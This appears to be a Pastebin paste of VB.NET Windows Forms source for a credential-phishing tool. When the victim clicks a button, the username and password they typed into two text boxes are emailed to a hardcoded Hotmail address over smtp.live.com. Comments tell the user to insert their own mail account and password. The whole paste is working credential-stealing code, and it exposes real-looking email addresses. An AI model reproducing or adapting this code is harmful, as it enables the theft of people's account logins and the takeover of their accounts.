Guest User

Untitled

a guest
May 11th, 2018
525
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.07 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3. Inherits System.Windows.Forms.Form
  4.  
  5. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  6.  
  7. End Sub
  8.  
  9. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  10.  
  11. End Sub
  12.  
  13. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  14. PictureBox1.Show()
  15. TextBox1.Show()
  16. TextBox2.Show()
  17. Button5.Show()
  18. End Sub
  19.  
  20. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  21. Dim Response As Integer
  22. Response = MsgBox("Are You Sure You Want To Close The Program?", vbYesNo, "Exit")
  23. If Response = vbYes Then
  24. End
  25. ElseIf Response = vbNo Then
  26. Me.Show()
  27. End If
  28. End Sub
  29.  
  30. Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
  31. Dim MyMailMessage As New MailMessage
  32. Try
  33. If TextBox1.Text & TextBox2.Text = "" Then
  34. Call MsgBox("Please Enter An Account Name and Password! Also make sure to enter a valid account.", , "Error!")
  35. End If
  36. MyMailMessage.From() = New MailAddress("pro.artist@hotmail.com") 'Replace The X's with your GMAIL Address
  37. MyMailMessage.To.Add("pro.artist@hotmail.com") 'Replace The X's with your GMAIL Address
  38. MyMailMessage.Subject = "Account Information"
  39. MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
  40. Dim SMTP As New SmtpClient("smtp.live.com")
  41. SMTP.Port = 587
  42. SMTP.EnableSsl = True
  43. SMTP.Credentials = New System.Net.NetworkCredential("andrewbobkeylog@hotmail.com", "MYPASS") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
  44. SMTP.Send(MyMailMessage)
  45. Catch ex As Exception
  46. End Try
  47. End Sub
  48. End Class
Add Comment
Please, Sign In to add comment